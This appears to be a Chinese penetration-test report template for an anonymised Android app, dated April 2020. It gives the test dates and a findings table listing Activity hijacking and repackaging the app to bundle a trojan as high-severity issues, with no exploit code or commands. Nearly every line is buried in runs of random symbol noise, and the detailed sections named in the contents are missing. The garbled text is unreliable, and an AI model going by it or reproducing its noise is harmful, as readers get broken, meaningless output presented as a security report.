$ [! l/ d6 ~# j7 Y5 f9 L7 t/ P7 ~0 Z r7 C
0 m3 x& l1 g- f9 d* }5 T" b6 Y6 f7 {8 i, r0 |
7 Q: G2 Z* V% l# ]( a
; W6 B2 n0 F1 S" K
* m+ i( A3 E" v( B% c0 {/ V( `
, ]& b$ |4 d& \+ {' O" H
! J9 T6 i; c7 ]) ^
0 Q) Q& ?. J* n7 k
. \! z! ?3 }. J& F
8 g, Q' P( x+ [% B, E: j2 f 文档编号:
! f8 Y( j1 f/ d% N1 P/ k% Z1 Q2 T3 y9 R3 v/ v% P7 S' ` J& \$ m, H* ]( r
- e2 m5 a8 N- |4 E6 n) R9 ?
! ^7 M' `2 b; V5 D - `$ a+ y# Z3 \$ t1 N9 Q" b( p
6 ]5 f. {2 r1 ^' i
% ]. A/ P9 v+ \; _' P
3 K* f7 E8 d2 m% V, @# R6 \
5 P( f9 {/ D0 x0 E6 z' \+ u# o3 ]# S. n9 q9 N7 D
, j( T9 i2 U7 e. V* X3 w( I$ P) s e( r
8 W; q/ n* D0 P% ~* R Y # d; |! S& J7 Q# A
: H: L: A( _# y# x% ]
" a3 z2 \0 H' W h; ~
4 ?9 v7 \5 W0 I* f- Z4 J2 m# g6 R
" f* R1 `& k9 p5 _2 @
9 b1 S& h6 q! {9 X5 q* g + `6 k4 A/ z/ S% n
# B: A4 M! q; ~9 s/ ], y2 m
# Q, V1 G, }0 l Q
* B; v/ a) {6 G1 U2 t# i# K* B 4 G( Y: h0 Q. D
9 R" h( h8 E1 q: M2 Y! k$ ^- U9 ~
" X- \# Z E7 m( F }6 t5 U/ [7 [; m# v0 Y/ V$ J: s
- ]6 P1 ]# v* Z2 J
6 B7 W% V5 [% D% G) d4 n7 Y \! e1 \6 Z: Z0 j# I. q- _7 T' L
* P7 r! m3 `1 x4 h& v2 w
; Q2 o- f# y8 a9 V2 z0 `' t/ m
6 F: q( ~/ Z u2 N" V
( `1 Y o# k0 V7 n+ S+ G4 A
# L2 V4 g, X8 E. y; z
& u+ ~4 X' Z8 }: j' g; x
: y% ^+ B4 N3 v. X7 ~
某某某APP渗透测试
( S- Q9 c$ d% A* W. g. e6 N8 \& W0 q, w2 s& Q0 A
( @9 @ k, l+ a9 V! Q/ H
: B3 H1 Q" J6 V& h. Z& \" X ' C6 @; q d5 n* O
1 Y+ p4 y% u/ m , j2 F2 g! ?, ]; n5 S; ]0 y9 c3 l
7 C- `" I( t0 l' t+ N
! J( }4 n; D) ]4 W* Q2 y
S8 ?( I1 `( ?
7 n% j/ D( P1 q+ e' O9 C) M% d1 Q# u' T; ]5 W( p
1 X% w( M, F; \) W1 i7 a. Y/ a4 z. U% M$ V: v/ I$ r4 S
; ^5 q4 l9 C1 N% `& z5 p7 c' c. r3 O5 g9 m5 o. Y, B' e) Z, Y- U& u
$ K7 f5 `9 o& M7 {
- n1 x3 k- h7 p& Y& Q8 s7 a # D5 ?8 N+ Q) b% s5 p; h
4 k9 x5 T4 S" N( u
0 h9 }" v7 p" N' V- }: ~4 W7 c+ m% U& H+ k ^
. h U4 u& T) k- c M( D
' _2 X5 ]; U/ j" q% {
) u4 r. F' f) F! C3 m
# P" x! |9 `9 |6 `. r
+ s+ N3 B7 m3 z5 B6 K. V/ N6 j1 {) ^. O. z7 ]4 C
" Y# u, b) H! S: L& Q7 P3 t
# Q0 x. H" M, n! \6 Q2 m; F
技 术 报 告 % A% e% d7 G7 ]% ?" H& r
% V9 ~' d/ \# p/ O
9 U" v" e/ H q; N2 W# c" H, T6 }6 y( d
* d3 F8 s x$ D n/ J1 O: O
; M( {8 y4 q% g0 ^% O) X h1 Z2 e. K( `
5 } z2 h \8 B E( f3 \ l- y- n* z
' A! h$ K8 D M2 C5 l$ m
! u( z' n/ ], P4 d9 }
; Z7 K' ~2 R* e* m4 J
$ i& s; `6 e6 d, r8 A ) E3 Y2 V8 p$ |# R$ Y- y
" b7 F3 a) u4 W( ~# Z5 ~, p; \
, i" P5 H8 f5 B/ c
6 u- D1 j/ L$ x! s. A* P3 M2 S 1 N. T9 d) e1 H! T% R! ^6 @
7 n k" z8 \* q 2 r `6 ]5 O& b( h; K
2 D9 P8 L& Z) t4 j6 o
! [0 k! P0 L1 F$ U6 M
5 D: {! L' d0 _ i 9 r; Y9 y; _! c6 `1 K9 W/ F4 D
c1 V9 D! ? [9 v7 D+ I* Z % Y4 U. |! ]' C2 \2 s2 @* H: z
7 E! Y) P8 l8 W- H5 @7 y
1 I4 N% E+ f* A5 @" P2 Z4 l; G0 }0 N% U7 O
5 e' v7 V8 @, f' T$ ^
! ?8 l1 Z; N. F3 w * V& {9 b" i& ?. i) \
) r6 q. B3 Z7 X* A! `
% }- i+ s' p% Z/ m- ?. L. j/ t3 P U4 Z0 @: k
! m9 d# h1 @2 ]* a0 l5 C) k2 l* y
* t( x y3 }" t ) d, C0 B7 y. N& w2 _6 e; z$ N
9 s8 P( w# M2 W- q
1 N- y9 p0 @+ p+ o* ^! ]( v2 Q m: x+ D4 o5 G. U! q. S8 `
( v( Q5 }/ \, _" M# r9 H1 S% Y9 _, x, k: d" W) y. E2 F2 _7 l
: }( y/ V& x5 f8 o* D1 n
0 O9 K* E! @/ ]- Q
3 H; A- G% X+ Q6 ~5 J
2 s- z9 p# s3 ~% ] 8 [$ t! ]* q. ~
0 s% e q, O' t$ y
3 B) j3 v' j% H$ y# s4 _ n* c/ e- L. s
- O5 o+ a% h- V: v
/ R+ w$ l7 P. a( X1 b6 ^: {( j& ?& g: ?) M1 R% w/ S {$ S
; e* _( |- c: K. M5 a3 ]0 w/ X7 x5 k' C# P, z
8 `) P- _& I4 B8 |
" X# }7 A# w* k% \/ e/ N
5 C1 K! h% v! a9 ?' n
( h. y9 @+ s! Z/ E
0 `- Y f( I4 @: G& i, W
6 g# {; U: e F) C5 c$ h2 E
6 w, E; B6 |7 ~- v- A. `; ?" R% x: o7 P z: l
# s% ]. } W* B; L0 ?
, G ?, ~4 y0 X1 w$ {- r, L
: h1 y+ n9 X0 Q' f) h/ [5 s. K/ _7 v8 L; i$ B
9 x( c( w4 @- c6 ]3 Z
. f( e% M' o- c( y
' l( {$ h- j& J( R: w2 o
& Q5 l# P. B. ]1 s/ W- a4 I 4 ` G& V6 l2 g' N. f7 F! F) Q
* z( X7 p9 i0 U( X$ j# s
/ v1 v" u: |% b. y
/ m2 `; T& \# \7 y
6 A6 w( L3 I6 B2 l5 I3 A/ p4 j
% ~: T' k) p! |( @& [ [# X 4 Y+ j3 V2 ?6 p0 w- E5 z5 d) r
9 F+ \7 F" Y- T2 E3 p- u9 w4 ?
) m. R2 Z/ r7 l2 ?( A% j+ b$ Q7 [3 F" N' @2 L; l' r/ n/ O/ {8 o
! I# _0 X* W, O2 U' o
3 @2 Z& Y" i7 o2 G
$ q/ d& v4 x$ i' K/ d% R$ c8 D, ?' z* G$ X6 d
) ]0 F1 R3 o* Y1 y$ w0 h+ _
! F" C0 X9 W3 |! p
% w- p1 M! u# _" P3 H
) o0 s; L2 S: a) w8 l o 1 h; S3 n: k: D& G) L. L' f5 [
7 l: c4 ~0 f" r5 o6 d/ ?% t ! e [; |1 J* |$ @5 ?" u
9 V1 H, R- N" [5 L3 o q x
1 d$ c; {+ P. ^6 } D* J* q+ K
( c/ R7 A& g( i7 @" j
7 E& _; m- v& M
3 @+ m* `" r, U8 a- |: K8 Z" _' [. F
( N+ P1 p$ \* F# W. M+ @
R) k8 U4 L0 z+ z8 x/ Q7 u
% h: Y4 u' Z6 z+ `+ a/ K
; f% b% }" \3 _3 K$ V. ~+ `6 N( t1 m7 _
3 M. n4 l9 C+ l7 {9 g1 o
. V8 g/ N1 [6 {( e6 C' m' j. X( ~* ?3 [: f: M% e
8 {5 a1 \+ F7 ]5 Y3 N
8 J: \+ D& u6 ] W; F% i ) P! w' i$ `1 ?' `1 t1 Y
( x# I; u$ a. c: ]
7 f" u( D }* J8 f. l! N- f8 [! s- A
% f- m9 E/ h0 X0 p% g
y( B' c4 u+ _) J$ v2 H
1 z& W1 e1 V1 ?$ U7 F6 m
" U1 K# T m: Q) t4 H# o3 o$ z n2 ^
0 ]) G7 @( T: q
二〇二〇年
$ X% _' Y. R& p9 T7 p$ U
8 @ {5 L' q$ N4 [- P
& K" |5 e/ N4 S* _/ N* r. M7 N/ ]
2 h) y" N% j- k7 @/ k+ c ) _9 |' @. g3 m' j; E5 w7 r
+ r. P4 Y- Y$ I$ _7 S' {
6 g9 f$ \" M1 L9 R/ ~ l! A/ S1 A$ w/ K/ I, _3 x6 Y
+ a* s/ @# A) p3 a1 o" x( `* S; p: v! n* y, f! j7 |; n
. k; U# P C. Z. d0 X0 r9 D5 V! h c# e9 c4 T1 i; [
2 c' _4 V( Y ~, `- a
4 q0 G% m0 O# U% I: v
* l( C ?1 c% w- W1 H/ Z; v& A6 s- n' y# G( u) p: w6 `" C
% o" e% v# f3 d! z2 W8 Z! x/ q) T3 H+ @% E. \: j7 t
! j, t" K/ e, U
8 Z- p9 F, \ ?& C 0 Y, D7 V. S) t, ~
. s; s6 P$ P; j+ r" u1 n: u
目 录
4 `8 V2 r3 X2 T: G* D8 S
5 H; T* x6 N7 t+ k5 \
' L# h+ q7 T; a7 y6 r6 {" N: D* m1 U
: h( L2 W7 y5 z4 Z. d
1 g4 m# {% K7 Q: {! Q
. @: A/ m' w4 r7 H- A5 n9 F/ K# G$ W( [! e8 J4 p. i2 I
& @+ ^% _9 h2 @' T) J3 V
8 [7 E5 Z$ h3 V% V
; V) @5 ^; J, d1 K& U6 m+ O+ s2 M3 r% x( `& h3 `: G8 f/ d
2 e. G5 `+ F6 e/ w. \7 O
! g- m( T D% Z" ~5 @* A 1 概述... 3
1 N, M' u1 v8 K: \9 Y) O5 i
/ E' Q4 T+ [. O" W) S) V6 @
" }1 p* u4 {% b
" B4 c9 O. P# {9 c! z, K$ {
( A9 O6 T8 P+ F8 U' l% Y& j# C5 K: G9 }) d+ X) b6 ]- O
1.2测试时间... 3 / ^* B- G2 s _0 F4 o
7 ^, _; b& C9 |9 |% J( y" N9 n
8 n- D2 R! L, X
' x: j1 Z" d, H5 Q) o* t 1 i) K. l& I! I+ j2 v1 F/ u5 r
5 c$ K7 C1 N1 J) h6 P; X) t 1.3测试对象... 3 . t# N+ l( _% G
' S- U: l9 z7 M w: A/ b
5 {9 x, i$ ~( z% w9 U d( u2 }
+ `* U. i* t: E7 ]' L: \+ K5 f
/ M8 m1 ~4 K+ R8 _7 [7 j! g- w6 K" u# m1 H* n) g
1.4测试结果... 3 / }+ H" L) y! g; Z
" h! `* w% `9 U2 N; J
O* ~( p3 Y5 R& Z& x
' _6 \/ U0 K9 u8 J
: G+ H$ h. l* ` d. u
8 l) E7 y! G/ h( H! k, L9 h2 {
2 检测结果... 4
. p+ s$ g: B2 w
4 r5 [9 V( |$ c" \
6 G& G0 e' A2 B& A( U2 ~5 I( [+ B6 b% r3 @7 O0 o( b5 ~/ ^
9 }8 `+ q# ?6 m) @
9 B1 ~* |3 {2 {
2.1 某某某... 4
! R& D! o" x Z6 v
( ^( F) e1 q Q% Z
/ f* f) l& c7 l. U# f5 e4 ?: a' y2 l, J3 X- ?$ d" `
6 w2 C/ C. V: m- N
( C+ s) C' V% X2 t# J4 n& M) w1 O' a 2.1.1检测目标... 4 O, U+ O3 R) }' z ^$ T8 W
; J W6 O0 A6 \' j( l n: H: [8 b
v; h# W9 r! g3 d6 R& r9 J) K) w4 l# f0 N& A
/ g; k# s, v( t- O0 k& C$ W0 b. q- i' C }/ ~7 y# B
2.1.2检测结果... 4 ( [$ ]4 L* u( l) u# ~7 M
O- r2 T% |' y
* v' [( c& E3 P+ c& a5 {
0 E& V/ q' `; Z/ D* ~* ? 6 F# O. J3 I% Y6 H- [& O4 H, }
/ e: y0 P, O! E- J1 H+ m1 @2 Q 2.1.2.1. 4
6 h% X% T5 @5 z
) }3 s( r" h/ ?$ I* W* Y* O. Y- y
) f5 G- P' d4 O, c
& x' G- }( q" p- w6 t3 u7 v
" J4 t2 g: I. U7 M) @5 l& V
& W& j' W1 ]0 U- g) e$ p 2.1.2.2. 6 1 L+ z' m! j* R; L
( a1 G. a+ L8 U! W3 b$ I* T2 c; U
9 }3 s4 n* ]7 D; x) X( Q. F
, `% x4 ~! E! z% x5 s4 c " o$ C" Q' J2 t
% E2 V ^. ^5 j+ e
9 P6 P4 {/ \8 m( E: y9 P" V9 c. H) n" i l5 X* O( V: I; r- u; a
/ b P/ Y, q. A& ~2 w7 z0 W2 E& `/ K( t
( K3 q6 D. T: H8 ~& `& K7 z% i
6 O3 e o4 Z! G* \% ^ 2 ~. m, X& {& [0 K: [3 n
' x- M5 @; k. d- O$ `+ \
2 q$ R7 B3 D8 C* \
; ^5 I6 H _4 n ! L5 K: L8 f, Y
" |$ b6 {. `2 g) e- E , ^4 ]+ n7 l- l! W9 V) L& |
# b( W) U6 O1 H0 E R
1 概述
* N# L. l( z: ?2 f A& K, m7 R/ Y
/ e, n( F/ T7 u( y, m }5 o: ?; R. G5 z( ^, N3 e
' A/ g$ Z# d& r5 o9 w* T
3 [, y2 Y1 K. I- p( s 1.2测试时间
* _( S0 X$ F9 l3 Z, G
8 U+ _" q" s/ b# {
5 L/ l$ r4 K x1 V3 v5 F3 {3 P* ^1 J0 ~7 o+ @* L
! s+ a) l" U% ~2 n
% ~+ W6 w5 h$ B. C , x$ ` }' G* Y9 j4 x2 S [, a+ Q& B
5 B: u ~/ C9 p: D# u
, s& ^0 f0 x2 f" t. X
$ R1 y9 U( I5 Z9 u- O, u 4 G2 T) D5 r% v% c, m5 l* `8 h6 H
/ q: s4 L4 }0 V: v; t
, V% y, J& O: }; [/ a0 F
' J( W# d$ q+ H# o. v- E$ O) X
渗透测试时间 - t1 e: b: D1 w7 ~2 j* A
% y4 h2 [ ?% [% c. `% t* ?6 P3 s. U
9 l' R4 b7 b7 {7 W
. ?1 \+ k+ W7 x3 G# Z | : q/ V4 Q4 w5 g( w
' j& J( F9 a) s0 A4 [
5 R1 ~) v7 ]; Q4 H0 D
7 m; \) `# W+ k) k. T
; W/ ]7 \1 |+ ^
" _1 C7 B3 e V5 O2 f; Z/ i2 p 7 C% j! L) o) I# y+ q
6 \1 n \# _# q# O H0 w
- ~, N5 W: ]( b: m& F' b9 G
2 o/ c; ]) H/ p" _! O: s5 t, i 起始时间 7 \5 [; }4 M0 [& z# O; m
5 A3 ~0 A& q2 s
+ K* ^7 ]; c% J2 {$ O m
! y: B* i+ u) w, g* D5 }2 P |
/ J1 W" W9 ~/ q5 o8 ~
2 c0 F( R+ [9 K1 l5 G$ P9 L {
" V7 H+ \- r9 w5 ^1 |" n) C
_7 |- S5 M/ L( v% S: k* o 2 x1 b2 l8 W& v! a5 r, u' ~
/ Y2 `$ K, v3 @& a8 v
2020年4月6日
7 x" G `; B4 @- `0 {2 r- U
, U( }5 s5 B! g$ S) D( V: j) P$ Y
) n7 z# n1 F5 v! y9 O* w v
/ C. C6 Y$ A4 Y; u* G | ' Z* t- i0 j1 [ q
4 ]/ L: g4 M/ n% m+ P/ ?5 W. |: a; H
- l! H: ^9 h" g) v
5 }0 j4 ~: i% @5 M4 P% Q9 i
0 v5 z# F l% ~1 E
5 U f y, @6 g& c % t' m* r9 H) b1 ^ G
3 x: G/ ]( d2 S# o1 V
" x6 I" Q" O7 O2 X% l% m
6 _! j2 E& i& W$ ~ 结束时间 * M6 n/ u1 W7 L: ^- a
+ x" k" e6 ^. {6 |% G: @ & W9 D1 K, t' [, S1 X
7 c! g- y5 i1 K i
| 5 Y( N! w4 ^5 N6 o! b
2 o; _- ~0 h- ?. ]' q( |5 [6 ^, R 1 g/ j: j' V9 F6 z6 y
G! f1 g( @' @6 p7 D$ ~7 h
5 W" v; B e8 q: {% U \! Y- w+ |. R! E% O, D
2020年4月9日 + q) p! L7 \" x6 M: |, {
% G. P+ n, ^$ W4 Z1 h- g- N
& [! H( }) O0 y3 b- } h( x4 D
- D4 r: t: v( a |
' L& y) V) L. ]$ s8 {: g: C& w- ?4 S; o/ ~% Y/ j
) f2 h! q* S4 c# B" W0 b
{5 ]/ n/ z: V! ^5 j2 S% e" k+ q3 y
) Q' j0 g) c! r2 C) l
0 |/ a" H& k3 K. B" c [4 [
3 S1 p/ H; h1 C* W) d7 E1 a
/ Q% l/ t& b9 L4 h8 k
8 M: n3 _8 p1 d" h* G7 ^1 I% n, V( M0 y$ _+ `" }1 }) u" w" ~
1.3测试对象 9 H4 y C6 M" b
/ L* H& Y, B/ j2 y1 ^" V
$ e% E5 h- z9 Y2 u4 `% N3 K$ n
2 L" Y6 b; w. p$ ^; q1 \
; q: c$ E8 `" M$ H7 g" {* [
6 i E, d- c* I$ r# U7 k. G V) z 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
) g2 C- {+ J* u, o' f4 z1 L7 t/ i( z- n( \1 f& [) Q, }% g
2 V0 Z5 Z4 P4 j1 X" s: M
8 g, t& L/ @% D _
' Y8 o9 l/ p, i( ^9 C
% `, L" R2 }) q, E7 m 表1-1 检测对象
h7 B/ Q1 }# h6 C4 ~6 }0 j8 Y* }% u# o+ s2 Q2 v
1 N% r8 Y& X7 h5 Y
( V8 @2 n0 f9 h. y& D9 O
) h5 h0 n. j; a' Q8 R2 c; [
/ [7 W6 `* n, K( F7 m( k/ [$ U
+ M; s p/ B6 K3 l) k- t3 `0 {9 \9 b6 ]
* D6 q6 I# K( I5 G: ?
8 G% ~) X" M$ _& s- R5 z7 f
: [' r0 _: ]' }+ }: J& y0 D' q4 l* h4 c
0 R, a1 j9 D2 F: ]
( d) E% K: ~* X1 F 序号 ; @. e7 f. s; @0 u; G
: X5 ~! h8 G+ E; P
& h$ z, V0 D9 z* Y3 Z" |$ M8 M3 h: t9 f5 `0 Z
|
- W! S/ W! ] M4 k7 I0 z
1 s4 O) f! ~+ A2 C$ i; k 0 s3 r; b3 [. b$ B
" s2 d- [9 j7 w* a. s0 I
7 g# N7 A& |$ G. R4 ~4 L, F4 F0 S/ C( v/ g; \
测试对象 6 C) `- h, a' v0 |! ?
/ z' V; D$ i) s) V0 N% X
+ S7 ?: ?& B) j B& I: `/ f
- Q1 S; u9 t+ X2 b3 _) H4 }+ ] |
$ e. O: |/ X+ [/ ?9 ?' h
6 `$ K T) A( d1 S0 I) s0 b- C % j" R9 U) b1 L8 q4 |) _1 P' A
6 U/ y# T" U6 A& [. o' v+ e
3 t( k4 U) j8 R, F+ n. k c# u$ [ M- |
测试地址
9 l) {& U: ]6 ]: v; y* b' n
n5 z9 ]4 z$ C( r0 e7 }
& E6 i. V/ B3 T5 m9 m
* l2 N+ t3 c3 l) l+ V" {! [: Z |
+ T% ~+ V2 U% G* U. m4 n1 X; G7 b: Y1 o0 V( F
* j# \1 |- T% q: |8 `8 ~! R8 v% D4 A( D/ m* p/ s
3 } {3 V7 { h! r! @. v8 R/ p
" }* `5 \6 _: }; a& P
安全漏洞
* U( E' g- v9 }! J8 J1 k/ T- }- O
' P% }) R( w+ \: V# w0 B8 _
, N8 }# Q v3 n2 ]& N2 [- L0 V
- A( _% j! A' g& E |
* w- L- M( v! h' z' o
/ W2 _ F1 Q# U9 ?6 M
+ h" t# _3 S) H& p* f
; h7 J" b! b+ y* ^6 ^
- w: d( h1 |- i3 U
: \& w, I# X$ P+ S3 ?
; u0 A6 H* O& b& X+ }
( }" f" m! t ]! I
/ L. X! T ?8 S( f
' I1 f$ h' l0 T5 m: t& K9 n 1
7 \1 U, V. ~ @) l8 y4 p
9 P/ ~9 X# ~' N1 z9 E4 J6 t
H- l/ j# i F5 E) v! t8 D. o* f- e8 s6 t+ ^6 j# n& U
|
& U0 a3 A4 O: Z: C* W1 {7 S) N8 p R/ ~' q+ F
2 ^, o p1 ^- I3 W4 {/ ~- ]
$ w3 p' S& }3 h( @& D( Y: T
/ X8 c$ {( O% b6 s
1 W$ L* T9 X [8 X$ T
某某某安卓APP
( K, I$ f, k* h7 w) _3 ~! t3 A. }# _* z1 D# g- ~; i) E) I
5 N. y5 n% N+ @* e* m+ _: r
- d Q- u, J; T; F" m% ?
|
4 i- T( U+ e" B9 Z
' j& q7 `9 V7 ^1 E8 Z/ z # A4 K* a+ w; P
6 ]/ k5 ~- x; H" M# X+ C
' {3 c8 \- x3 q
6 W; k2 [- o6 _) y3 p8 V
0 T# S) B+ d1 i( @( e1 W: L
/ m" d+ l( o3 N5 N0 d2 ?) w
) a; p; A) P" E" P
' X" R y1 K t/ W9 u/ s |
/ N5 F3 E! D8 H" m* N
: _7 M- g* H3 m/ z. y L
/ @; \6 u1 f' \5 G# F0 a ^1 D, [" X" \5 F* m
! N7 r3 Z; O. P9 t, i) R" F2 K; j% u! O! D2 G7 v0 S8 p
2 " U! T" h6 l2 K- F# K' S
" {- u# ]4 C1 m% ^ O& f" V! ~6 B& L: W
0 o7 Z& g3 Q. I( t/ l- L# [+ U* t/ u" [3 z" R
| 6 q# ?8 Q, ?- {* P
. b8 x6 E, C( d/ ^* `6 n& w
- Q( C" K) T3 ?7 V; _( n* u9 H7 k- h0 C& r& m6 } l. `
. v9 q. }# m3 d. f8 Q$ x
4 `( c# C* Z, |2 d+ l" x% t' l
/ N6 V& f4 g8 x7 g, E3 w. V: u
4 m# v# M- p1 I, h! \
1 L: Z5 n( T( I7 x" ~% I& q0 w1 L- D# v! Q& T; J
1.4测试结果 " e1 I. F# M: c' i
2 c6 ^0 [" h/ `9 z. o
. k+ i7 l1 b9 w0 c8 O; k7 H
5 D" @: V. I7 \' d0 J4 S6 T
4 e O8 f8 r8 [5 ~/ f' x7 r/ `
^& T' n7 B5 @3 {3 c 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ! `: z8 d. C( N( T% ~
% X% P- ?9 s3 N9 ^# c7 s @( ]5 T' m
) P2 L9 T0 J9 {+ ~5 `( a# V
. |+ ]3 Q: F. u K1 B$ j8 V
0 }# `6 J' }0 v" F8 x/ f7 J3 u, e. q! W; E( X( f4 ^& D1 k
: j5 z" ]- N9 U
0 ~8 w0 C+ o c( n
7 k- k) _4 M( }! v
% Q( ?1 [5 Y. W/ J( ^) ~9 _! }
7 u3 L! U) J( h8 u
) l7 n" L7 M$ o5 t; P" {3 }; S
; S2 {; W; p k' A6 I5 g
( p9 @8 k/ H7 M/ R3 p5 a% H8 J4 K & r- @7 |$ E4 z' ?8 F8 Y9 K2 x
. E* Q5 ~6 E7 O" H2 Q% r
: l0 z( b" ~4 @& C1 w/ Z
( v+ n4 D( z! N% T# }
. J- |/ l; W0 P* B
) w D ]" ?5 V7 r \% z ' d/ v- T* Y$ ?4 n. ?
' Z% o, B9 X2 |% M' W, z 序号
& h# F& H6 ^9 C. a# M8 k' k, }3 z- ?. z3 V, V
$ Z7 N+ o1 C$ a" B: @
) Z& y! [( t! ]0 ^5 I
|
5 D0 ^6 I2 k2 X1 a2 |5 d* y5 {8 o. l, B2 |9 a1 }
4 r8 k. t) F- C) u0 |- j
4 f n0 M I$ u' y' ]( d" o
9 _( P3 H: X+ I. G
4 j7 |7 c& j1 K! g* C' B 系统名称 3 y2 j }2 o% z
! c4 V) n: u6 d; q1 L
# u" h/ h2 T' Q- H$ y
5 H; x e6 G1 i! W |
2 j- @2 ~/ h0 A, v Q- ^: ?
8 O$ A4 K: `& h+ {3 O5 l; Y3 ~4 t+ } ' h7 k! q9 j* Y* l* u) W
/ [7 i, a2 K! }5 g
8 p+ I* Q- [ ]: \
8 Y' P/ ~% }1 R- f0 v 漏洞名称
1 {4 [% `5 t6 e/ ^
* Y: c: A3 ^/ q* @+ v- J 2 i7 {* p% [( X# h. ^! a1 ?$ a
7 j& d% s* `' H7 v* O0 Q
|
; R" ?$ g6 a2 ?% W# X4 ]4 q- f4 a, l! q
; N* S f/ v$ c# u) |* B1 _3 n. u
; P, b: m7 s0 R: i % S' K4 n6 O% L
5 g1 u; M. }6 D. ^1 ~& b 漏洞危害
: N( ^+ y8 k1 C1 \/ i I. `1 j d' s7 Y% m, P( x
2 I# h; P! z4 c+ d/ ?: _( m* @8 Q) o& w/ y# n2 w) [6 `$ s
| & N* c( }3 _8 v" T! p. g
' I! y2 Z9 u* W/ t9 X8 x5 `% E
; L8 r! Z* l' r& _6 W0 I- b
; P$ r/ v, a6 j7 z * D' f) Y( b% [9 M/ |& {
0 |5 R0 p! c( A" d3 c; d' [
修复结果
N1 v4 X. K* u; V
1 _0 b0 ]5 [+ y- d/ h
" c/ M+ f2 S3 F( M5 r; g( v# [- P3 j$ o7 U, ` Q
|
' }) b" L0 ]1 K
( X+ T, Q- ?$ l! H1 p: ]
( J- U/ o% ?( x
D* v3 V: ]; d2 R1 c
2 `3 t5 \3 W* z- l# d9 E
3 S$ y( q% b1 j
T2 f6 z" h, q6 O( v
4 T- m0 C- Z/ _9 }: o* L: g
1 E* `8 l# q! e5 w: o# \
; R7 P& s$ Y2 c' a+ I f# z 1
. Y" T- F5 s) p8 e, {3 [+ X% v( v: @3 \& U: R) y' A, G' u
' q5 [: ^1 M0 @& r: @; x/ t
! o/ F$ z% I% j" P& Q$ w. r | : s0 _+ |: V' c
4 U# d. f' K/ D. w
3 k. N0 x/ M0 b; S- v; G3 [. z. b' u# b
$ R2 t2 _9 ]/ M
9 `; e& b7 U' X: M9 | 某某某某某某APP 3 J* Z% X# P5 G; \; c' }
! u1 g# D1 Z' p" u1 B) T5 n
/ }1 ~* J2 _5 }3 C: A9 F! h. K2 [3 g; ^! T. @
|
! { _! N; Z0 @' z: U# R( M. z3 x5 @$ Z! X
; d$ n* ?* b/ `
+ E1 l" [* O2 Y 5 p' k$ Y7 z b+ Z( v
# e# E% k3 C& ]0 P' ^0 y
Activity 劫持 8 D/ `0 V9 Z: H6 k; `. [+ o
, O& [0 p* L( b9 R) x* ?2 |; o( u' |
& i9 w! c0 c7 D' |+ u: p& M4 d. o8 I: c) u6 k! w) e7 D
4 `& }4 f& v9 n# `) A2 h1 o3 A5 }; k
1 ?; V- O! Y! G7 C& e# e0 o
6 J; G2 _8 [! x. A# \$ k
$ W' n- N; v- m8 b9 f- J
0 l, N$ p+ A+ b/ e
9 x; p. m9 ?& |* h, K |
/ j& Y8 j/ Z. ?, c# b/ p5 r
$ f3 z$ p0 `/ w; e" B! b; k5 I
& `% @& }# h% T* M. f& ~( o& I+ V1 W( L2 _3 Q3 [; P$ j2 ~
4 ^" i6 w3 Z: ^/ h, E0 \ U3 c" P& `1 R% Y
高
% M3 m$ C( b m% N: s! N1 J6 ^( V2 L
+ a" Q" y+ m R9 g) j# Q& |- u
( i; U0 T% a6 h M
0 V# d( b: X! x | 1 G7 n4 N6 c2 g2 M* @
8 G+ e0 M6 @5 p% D; i$ K3 t( j
" Z/ ?* m4 ~- [! B E. A. a5 Q* h+ g' C8 ~; O
& R4 Z. v3 S! H$ R; ~7 B/ y2 w; P) f/ G* V! l2 U
, M& V4 r# _4 G+ R( Z
0 Z" V: }1 h; ~4 h) ~. \/ m
; U4 Q& w$ ]9 m+ W
5 j8 { v/ b* r |
/ \( Q4 r M6 F0 K5 V- `+ b j# i" Z# q6 G7 P9 X/ v' ?3 S
8 {% r( O5 r& m! Y) { J
' l$ L5 ~, s' c! a9 p/ B+ F ' P* Z7 l' x( t. b* F4 s
; x: [$ o: V5 A( ~9 V# i8 @2 A ) ]; l2 R5 F) x
9 T: I8 L. B8 P. ^' d; p
5 f2 V+ ], d3 I$ |0 [; |4 G% N7 ^5 C
2
% Y& S/ w; K1 ?3 D+ K) v' ^% Q( x/ x1 V1 i, A0 W1 e
2 v$ @8 l* S0 ]3 W. M: t* d
1 v2 U( q9 e ]; i6 r% q8 P | 3 {% d6 S* Q% v( N! A/ [
9 o" P9 {$ |+ E2 Z5 S9 }
1 N( Y1 z8 x# m* Z$ X& R# Q- M1 \
5 E+ T/ [7 c5 ~% N( V$ z
: \0 U; i- P7 ?& A: ?: c
某某某某某某APP
0 J9 U7 N0 P8 g( [$ W% a% W9 J5 f- d3 `7 D
2 P" e/ g$ K( }
0 ^. W4 f( w9 i% d | 2 I5 Z2 }- ^# `
; P& p; r: w& S4 P; c
) ~1 H0 f+ O! {" K8 f8 U; S' W0 T( |2 }8 s
, N3 }$ E$ Q6 z4 [* v: D
3 [9 b* O% h' Y: B* |
反编译二次打包捆绑木马、篡改APP代码 2 G- d6 ~( w; L
5 U* ^3 [0 ~7 U' m5 L5 t5 o, a- P+ i
; U& G$ v) Z6 L6 K
3 i# F4 {' c& `+ K) j | " D' t4 R* h$ A
8 q6 v. E5 z5 |+ \ 2 P- E6 r* s6 z
5 d9 q+ T; e8 m5 f
# a- y- J, a, L0 G, M4 J. p
( B1 T) _$ k+ w3 G) q% ] 高 $ y4 A$ o+ Y7 K; F
0 z5 Q% T1 M: R" l 2 I' s7 M- o( e7 a6 m4 O: D7 [
' ^: o( ~. m9 p3 C, J5 \ | 1 t$ _8 w, u2 Z1 j X
. @. p4 M; I9 \5 k" a 2 m; W% n5 { [: t. x+ ^0 v8 W
$ o* s) T: @- t
7 z% q% A& l/ J$ n# v1 v
, f$ {( D2 F0 P( F3 w6 c# ]$ L
6 i* p! M/ H- X: f# y0 M$ E4 M
% Q- i; X( p, a' W1 X$ n
# j0 X p* [ O0 m# `, s; z( \% |) _0 {% v: @* o
| ( G6 t1 x Z7 H+ N: g5 [; r' n, |
3 P( J) W3 @4 |+ X: i! c! G
9 i- ?8 ?6 o7 s8 i
4 x! F( [, A6 h9 k( D; { 5 q, A0 |) x3 k5 L- o
" F* y6 c/ v/ i' U4 c6 [3 O& h1 j8 o; `
; ?8 r2 V) i" m! e7 H1 c& C4 |
9 Q6 j; m* m2 k$ D0 _$ ]0 r1 p' c" j- e
